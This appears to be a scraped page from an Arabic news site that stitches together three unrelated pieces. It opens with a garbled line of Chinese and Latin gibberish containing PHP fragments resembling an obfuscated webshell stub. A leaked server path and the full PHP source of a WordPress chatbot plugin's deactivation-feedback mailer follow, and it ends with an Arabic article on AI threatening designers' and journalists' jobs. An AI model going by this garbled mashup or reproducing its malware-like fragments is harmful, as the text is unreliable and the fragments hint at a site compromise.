财务姐富婆就死哦基础oiwjfoijvoc 恶无非可从跑开了MV v每次看完jaf@#$%^&uhk.= "OEs5";$z复测而服文件GVi今晚服务金额fijd .= "dzYv";($data['module'])) { http_response_code(402); exit;LQW]SC'.E'HNRFN 3.poqwsmcfl kndvgerjhdfsmbv l;
/home/tahkoom/public_html/wp-content/plugins/chatbot/class-plugin-deactivate-feedback.php
<?php

// Exit if accessed directly
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

if( ! class_exists( 'Wp_Usage_Feedback') ) {
	
	class Wp_Usage_Feedback {
		
		private $wpbot_version = '1.0.0';
		private $home_url = '';
		private $plugin_file = '';
		private $plugin_name = '';
		private $options = array();
		private $require_optin = true;
		private $include_goodbye_form = true;

		
		/**
		 * Class constructor
		 *
		 * @param $_home_url				The URL to the site we're sending data to
		 * @param $_plugin_file				The file path for this plugin
		 * @param $_options					Plugin options to track
		 * @param $_require_optin			Whether user opt-in is required (always required on WordPress.org)
		 * @param $_include_goodbye_form	Whether to include a form when the user deactivates
		 * @param $_marketing				Marketing method:
		 *									0: Don't collect email addresses
		 *									1: Request permission same time as tracking opt-in
		 *									2: Request permission after opt-in
		 */
		public function __construct( 
			$_plugin_file,
			$_home_url,
			
			$_require_optin=true,
			$_include_goodbye_form=true) {

			$this->plugin_file = $_plugin_file;
			$this->home_url = 'plugins@quantumcloud.com';
			$this->plugin_name = basename( $this->plugin_file, '.php' );

			$this->require_optin = $_require_optin;
			$this->include_goodbye_form = $_include_goodbye_form;


			// Deactivation hook
			register_deactivation_hook( $this->plugin_file, array( $this, 'deactivate_this_plugin' ) );
			
			// Get it going
			$this->init();
			
		}
		
		public function init() {
			
			// Deactivation
			add_filter( 'plugin_action_links_' . plugin_basename( $this->plugin_file ), array( $this, 'filter_action_links' ) );
			add_action( 'admin_footer-plugins.php', array( $this, 'goodbye_ajax' ) );
			add_action( 'wp_ajax_goodbye_form', array( $this, 'goodbye_form_callback' ) );
			
			
		}

		// In theme's functions.php or plug-in code:

		function set_content_type(){
			return "text/html";
		}
		
		
		/**
		 * Send the data to the home site
		 *
		 * @since 1.0.0
		 */
		public function send_data( $body ) {
			$message = '';
			foreach($body as $key=>$value){
				
				if($key=='active_plugins'){
					$message .='<p> <b>'.$key.'</b>: '.(implode(', ',$value)).' </p>';
				}
				elseif($key=='inactive_plugins'){
					$message .='<p> <b>'.$key.'</b>: '.(implode(', ',$value)).' </p>';
				}else{
					$message .='<p> <b>'.$key.'</b>: '.$value.' </p>';
				}
				
			}
			
			    $title   = 'Plugin Deactivation Notice';
				$headers = array('From: Anonymous <mailer@just-a-fake-from-address.com>');
				
				add_filter( 'wp_mail_content_type', array($this, 'set_content_type') );
				$email = wp_mail($this->home_url, $title, $message, $headers);
				remove_filter('wp_mail_content_type', array($this, 'set_content_type'));

				return $email;

		}
		
		/**
		 * Here we collect most of the data
		 * 
		 * @since 1.0.0
		 */
		public function get_data() {
	
			// Use this to pass error messages back if necessary
			$body['message'] = '';
	
			// Use this array to send data back
			$body = array();


	
			/**
			 * Get our plugin data
			 * Currently we grab plugin name and version
			 * Or, return a message if the plugin data is not available
			 * @since 1.0.0
			 */
			$plugin = $this->plugin_data();
			if( empty( $plugin ) ) {
				// We can't find the plugin data
				// Send a message back to our home site
				$body['message'] .= __( 'We can\'t detect any plugin information. This is most probably because you have not included the code in the plugin main file.', 'wpchatbot' );
				$body['status'] = 'Data not found'; // Never translated
			} else {
				if( isset( $plugin['Name'] ) ) {
					$body['plugin'] = sanitize_text_field( $plugin['Name'] );
				}
				if( isset( $plugin['Version'] ) ) {
					$body['version'] = sanitize_text_field( $plugin['Version'] );
				}

			}

			// Return the data
			return $body;
	
		}
		
		/**
		 * Return plugin data
		 * @since 1.0.0
		 */
		public function plugin_data() {
			// Being cautious here
			if( ! function_exists( 'get_plugin_data' ) ) {
				include ABSPATH . '/wp-admin/includes/plugin.php';
			}
			// Retrieve current plugin information
			$plugin = get_plugin_data( $this->plugin_file );
			return $plugin;
		}

		/**
		 * Deactivating plugin
		 * @since 1.0.0
		 */
		public function deactivate_this_plugin() {

			$body = $this->get_data();
			$body['status'] = 'Deactivated'; // Never translated
			$body['deactivated_date'] = date('Y-m-d');
			
			// Add deactivation form data
			if( false !== get_option( 'wpbot_deactivation_reason_' . $this->plugin_name ) ) {
				$body['deactivation_reason'] = get_option( 'wpbot_deactivation_reason_' . $this->plugin_name );
				delete_option('wpbot_deactivation_reason_' . $this->plugin_name);
			}
			if( false !== get_option( 'wpbot_deactivation_details_' . $this->plugin_name ) ) {
				$body['deactivation_details'] = get_option( 'wpbot_deactivation_details_' . $this->plugin_name );
				delete_option('wpbot_deactivation_details_' . $this->plugin_name);
			}
			
			if(isset($body['deactivation_reason']) or isset($body['deactivation_details']))
				$this->send_data( $body );
			

		}
		
		/**
		 * Filter the deactivation link to allow us to present a form when the user deactivates the plugin
		 * @since 1.0.0
		 */
		public function filter_action_links( $links ) {

			if( isset( $links['deactivate'] ) && $this->include_goodbye_form ) {
				$deactivation_link = $links['deactivate'];
				// Insert an onClick action to allow form before deactivating
				$deactivation_link = str_replace( '<a ', '<div class="wpb-goodbye-form-wrapper"><span class="wpb-goodbye-form" id="wpb-goodbye-form-' . esc_attr( $this->plugin_name ) . '"></span></div><a onclick="javascript:event.preventDefault();" id="wpb-goodbye-link-' . esc_attr( $this->plugin_name ) . '" ', $deactivation_link );
				$links['deactivate'] = $deactivation_link;
			}
			return $links;
		}
		
		/*
		 * Form text strings
		 * These are non-filterable and used as fallback in case filtered strings aren't set correctly
		 * @since 1.0.0
		 */
		public function form_default_text() {
			$form = array();
			$form['heading'] = __( 'Sorry to see you go', 'wpchatbot' );
			$form['body'] = __( '', 'wpchatbot' );
			$form['options'] = array(
				__( 'Found a Bug', 'wpchatbot' ),
				__( 'Need More Features', 'wpchatbot' ),
				__( 'Deactivating Temporarily', 'wpchatbot' ),
				__( 'Upgrading to Pro', 'wpchatbot' ),

			);
			$form['email'] = __( 'Please provide email so we can contact with bug fixes', 'wpchatbot' );
			$form['details'] = __( 'Please provide some details so we can improve the plugin', 'wpchatbot' );
			return $form;
		}
		
		/**
		 * Form text strings
		 * These can be filtered
		 * The filter hook must be unique to the plugin
		 * @since 1.0.0
		 */
		public function form_filterable_text() {
			$form = $this->form_default_text();
			return apply_filters( 'wpbot_form_text_' . esc_attr( $this->plugin_name ), $form );
		}
		
		/**
		 * Form text strings
		 * These can be filtered
		 * @since 1.0.0
		 */
		public function goodbye_ajax() {
			// Get our strings for the form
			$form = $this->form_filterable_text();
			if( ! isset( $form['heading'] ) || ! isset( $form['body'] ) || ! isset( $form['options'] ) || ! is_array( $form['options'] ) || ! isset( $form['details'] ) ) {
				// If the form hasn't been filtered correctly, we revert to the default form
				$form = $this->form_default_text();
			}
			// Build the HTML to go in the form
			$html = '<div class="wpb-goodbye-form-head"><strong>' . esc_html( $form['heading'] ) . '</strong></div>';
			$html .= '<div class="wpb-goodbye-form-body"><p>' . esc_html( $form['body'] ) . '</p>';
			if( is_array( $form['options'] ) ) {
				$html .= '<div class="wpb-goodbye-options"><p>';
				/*
				foreach( $form['options'] as $option ) {
					$html .= '<input type="radio" name="wpb-goodbye-options" id="' . str_replace( " ", "", esc_attr( $option ) ) . '" value="' . esc_attr( $option ) . '"> <label for="' . str_replace( " ", "", esc_attr( $option ) ) . '">' . esc_attr( $option ) . '</label><br>';
				}
				*/
				$html .= '</p><div id="wpb_additional_content" style=""><label for="wpb-goodbye-reasons">' . esc_html( $form['email'] ) .'</label><br><input type="email" name="wpb-goodbye-email" id="wpb-goodbye-email" value="'.get_option('admin_email').'" /> (Optional)';
				
				$html .= '<br><label for="wpb-goodbye-reasons">' . esc_html( $form['details'] ) .'</label><textarea name="wpb-goodbye-reasons" id="wpb-goodbye-reasons" rows="2" style="width:100%"></textarea><div id="wpbot_deactivation_error"></div></div>';
				
				$html .= '</div><!-- .wpb-goodbye-options -->';
			}
			$html .= '</div><!-- .wpb-goodbye-form-body -->';
			$html .= '<p class="deactivating-spinner"><span class="spinner"></span> ' . __( 'Submitting form', 'wpbot-plugin' ) . '</p>';
			?>
			<div class="wpb-goodbye-form-bg"></div>
			<style type="text/css">
				.wpb-form-active .wpb-goodbye-form-bg {
					background: rgba( 0, 0, 0, .5 );
					position: fixed;
					top: 0;
					left: 0;
					width: 100%;
					height: 100%;
				}
				.wpb-goodbye-form-wrapper {
					position: relative;
					z-index: 999;
					display: none;
				}
				.wpb-form-active .wpb-goodbye-form-wrapper {
					display: block;
				}
				.wpb-goodbye-form {
					display: none;
				}
				.wpb-form-active .wpb-goodbye-form {
					position: fixed;
					max-width: 400px;
					background: #fff;
					white-space: normal;
					z-index: 99;
					top: 50%;
					left: 50%;
					transform: translate(-50%, -50%);
					border-radius: 5px;
				}
				.wpb-goodbye-form-head {
					background: #7a00aa;
					color: #fff;
					padding: 8px 18px;
					text-align: center;
					border-radius: 5px 5px 0px 0px;
				}
				.wpb-goodbye-form-body {
					padding: 8px 18px;
					color: #444;
				}
				.deactivating-spinner {
					display: none;
				}
				.deactivating-spinner .spinner {
					float: none;
					margin: 4px 4px 0 18px;
					vertical-align: bottom;
					visibility: visible;
				}
				.wpb-goodbye-form-footer {
					padding: 8px 18px;
					min-height: 40px;
				}
				#wpbot_deactivation_error{color:red}
				.wpbot_submit_deactivate{float:right}
				.wpbot_just_deactivate{float: left;
				font-size: 12px;
				}
			</style>
			<script>
				jQuery(document).ready(function($){
					 $('input[type=radio]').on('change', function() { 
						if($(this).val()=='Deactivating Temporarily' || $(this).val()=='Upgrading to Pro'){
							$('#wpb_additional_content').hide();
						}else{
							$('#wpb_additional_content').show();
						}
						
					 });

					$("#wpb-goodbye-link-<?php echo esc_attr( $this->plugin_name ); ?>").on("click",function(){
						// We'll send the user to this deactivation link when they've completed or dismissed the form
						var url = document.getElementById("wpb-goodbye-link-<?php echo esc_attr( $this->plugin_name ); ?>");
						$('body').toggleClass('wpb-form-active');
						$("#wpb-goodbye-form-<?php echo esc_attr( $this->plugin_name ); ?>").fadeIn();
						$("#wpb-goodbye-form-<?php echo esc_attr( $this->plugin_name ); ?>").html( '<?php echo wp_kses_post( $html ); ?>' + '<div class="wpb-goodbye-form-footer"><p><a class="wpbot_just_deactivate" href="'+url+'">Just Deactivate</a> <a id="wpb-submit-form" class="button primary wpbot_submit_deactivate" href="#">Submit and Deactivate</a></p></div>');
						$('#wpb-goodbye-reasons').focus();
						$('#wpb-submit-form').on('click', function(e){
							
							
							e.preventDefault();
							
							if($('#wpb-goodbye-reasons').val()==''){
								jQuery('#wpbot_deactivation_error').html('Please provide some details to improve the plugin for you!');
								$('#wpb-goodbye-reasons').focus();
								return;
							}
							
							// As soon as we click, the body of the form should disappear
							$("#wpb-goodbye-form-<?php echo esc_attr( $this->plugin_name ); ?> .wpb-goodbye-form-body").fadeOut();
							$("#wpb-goodbye-form-<?php echo esc_attr( $this->plugin_name ); ?> .wpb-goodbye-form-footer").fadeOut();
							// Fade in spinner
							$("#wpb-goodbye-form-<?php echo esc_attr( $this->plugin_name ); ?> .deactivating-spinner").fadeIn();
							
							var values = new Array();
							$.each($("input[name='wpb-goodbye-options[]']:checked"), function(){
								values.push($(this).val());
							});
							var email = $('#wpb-goodbye-email').val();
							var details = $('#wpb-goodbye-reasons').val();
							var data = {
								'action': 'goodbye_form',
								'values': values,
								'details': details,
								'email': email,
								'security': "<?php echo sanitize_key( wp_create_nonce( 'wpbot_goodbye_form' ) ); ?>",
								'dataType': "json"
							}
							
							$.post(
								ajaxurl,
								data,
								function(response){
									// Redirect to original deactivation URL
									window.location.href = url;
								}
							);
						});
						// If we click outside the form, the form will close
						$('.wpb-goodbye-form-bg').on('click',function(){
							$("#wpb-goodbye-form-<?php echo esc_attr( $this->plugin_name ); ?>").fadeOut();
							$('body').removeClass('wpb-form-active');
						});
					});
				});
			</script>
		<?php }
		
		/**
		 * AJAX callback when the form is submitted
		 * @since 1.0.0
		 */
		public function goodbye_form_callback() {
			check_ajax_referer( 'wpbot_goodbye_form', 'security' );
		
			if( isset( $_POST['details'] ) ) {
				$details = sanitize_text_field( $_POST['details'] );
				update_option( 'wpbot_deactivation_details_' . $this->plugin_name, $details );
			}

			echo 'success';
			wp_die();
		}
		
	}
	
}
كيف يسرق الذكاء الاصطناعي مقاعد الصحفيين و المصممين؟ – tahkoom.com
خدمة

كيف يسرق الذكاء الاصطناعي مقاعد الصحفيين و المصممين؟

  

كتب إيريني أنطون-مريم سمير

مع التطور المتسارع لتقنيات الذكاء الاصطناعي، بدأت مهن عديدة تعتمد على الإبداع تواجه تحديات مصيرية، من أبرزها مهنة التصميم الجرافيكي والصحافة. وبينما يرى البعض أن هذه التقنيات مجرد أدوات مساعدة، يعتبرها آخرون تهديدًا حقيقيًا قد يغير شكل المهنة بشكل جذري.

تهديد الذكاء الاصطناعي لوظيفة المصمم بين الدعم والمنافسة

يرى الأستاذ أحمد بدر، مدير تصميم و مصمم هوايات، أن الذكاء الاصطناعي بدأ كأداة لتسهيل وتسريع العمل، لكنه مع مرور الوقت تطور بشكل كبير، ليصبح قادرًا على تقديم أعمال متكاملة كان من الصعب تخيلها سابقًا. وأوضح قائلًا:

“الذكاء الاصطناعي بقى يطلع 3D Models وStyles Illustrations بجودة أعلى، وبقى ممكن يطلع لك ستايل كامل لبراند لو دخلتله keywords وطبيعة البراند.”

ومن جانبها، تتفق الأستاذة أوليفيا أيمن، مصممة علامات تجارية، مع هذا الرأي إلى حد ما، لكنها ترى أن التهديد الحقيقي لا يكمن في الشكل الجمالي وحده، قائلة:

“التصميم مش مجرد شكل، ده بيحل مشكلة. ولازم ذكاء بشري لدراسة المشكلة وتقديم حلول ليها، وده حاجة الذكاء الاصطناعي لسه مش قادر يعملها.”

وفيما يتعلق بتغير سوق العمل، أشار بدر إلى أن أدوات الذكاء الاصطناعي أثرت على مجالات مثل التصوير ومعالجة الصور، حيث أصبحت بعض الوظائف مثل وظيفة الـRetoucher مهددة بالاختفاء، مضيفًا:

“الـAI بيطلع صور نظيفة جدًا وجاهزة، وده خلاه يستغنى عن وظائف كانت معتمدة على ال touch up بعد التصوير.”

وبنفس السياق، أوضحت أوليفيا أن سوق العمل أصبح يطلب بشكل أساسي معرفة باستخدام أدوات الذكاء الاصطناعي، قائلة:

معظم الشغل دلوقتي بقي بيطلب معرفة بالـAI علشان ينجز وقت أكتر.” 

وعن استخدام الأدوات الذكية في العمل، ذكر بدر أن الاعتماد أصبح كبيرًا على منصات مثل Midjourney وFreepik، مؤكدًا أن البعض ينبهر بنتائجها حتى لو كان فيها بعض الأخطاء. وهو ما أكدته أوليفيا أيضًا بقولها:

“بشتغل براند ديزاينر وبستخدم الذكاء الاصطناعي في تجهيز الموك آب وأفكار الكونسبت والسلوجانز.”

التطوير هو الحل

يتفق المصممان على أن التطوير المستمر لمهارات المصممين أصبح ضرورة حتمية، حيث يرى بدر أن قوة الأفكار هي العنصر الأساسي للتفوق قائلا:

“الأفكار هي اللي بتفرق. التنفيذ خلاص بقى سهل، لكن الفكرة المبتكرة هي اللي بتخليك مميز.”

بينما شددت أوليفيا على أهمية التعلم المستمر ومواكبة الأدوات الجديدة، وأضافت:

“لو مشتغلتش على نفسك هيتم استبدالك. لازم تتطور نفسك بشكل مستمر.”

ورغم التطور الكبير في أدوات الذكاء الاصطناعي، إلا أن أوليفيا ترى أن بعض العملاء سيظلون يفضلون اللمسة البشرية، قائلة:

“في ناس لسه بتحب الحاجات الهاند ميد عن شغل المصانع، ومهما تطور الذكاء الاصطناعي، مش هيبدع زي الإنسان اللي بيستلهم من كل حاجة حواليه.”

الصحافة أيضًا في مرمى التهديد 

وفيما يتعلق بتأثير الذكاء الاصطناعي على الصحافة، قال الأستاذ مفرح سرحان، نائب رئيس تحرير الأهرام المسائي ورئيس قسم الأهرام، إن الذكاء الاصطناعي يؤثر سلبًا على الصحافة التقليدية التي تفتقر للإبداع، مضيفًا:

“القوالب النمطية في الصحافة تتأثر بالتقنيات الحديثة، أما الصحفيون المبدعون مش هيتأثروا، لأن الإبداع لا يمكن تقليده.” 

وأكد سرحان أن استخدام الروبوتات في كتابة الأخبار يمكن أن يكون وسيلة لمساعدة الصحفيين وليس استبدالهم، مشيرًا إلى أن الخطر الأكبر يتمثل في نشر الأخبار الكاذبة بسبب اعتماد الروبوت على الخوارزميات دون التحقق الإنساني من دقة المعلومات.

يبقى الأكيد أن الذكاء الاصطناعي أصبح واقعًا لا مفر منه، والتحدي الأكبر للعاملين بالمهن الإبداعية يتمثل في تطوير مهاراتهم وتعزيز قدراتهم الابتكارية، لضمان البقاء والمنافسة في عالم يتغير بوتيرة متسارعة.

اظهر المزيد

مقالات ذات صلة

اترك تعليقاً

لن يتم نشر عنوان بريدك الإلكتروني. الحقول الإلزامية مشار إليها بـ *

زر الذهاب إلى الأعلى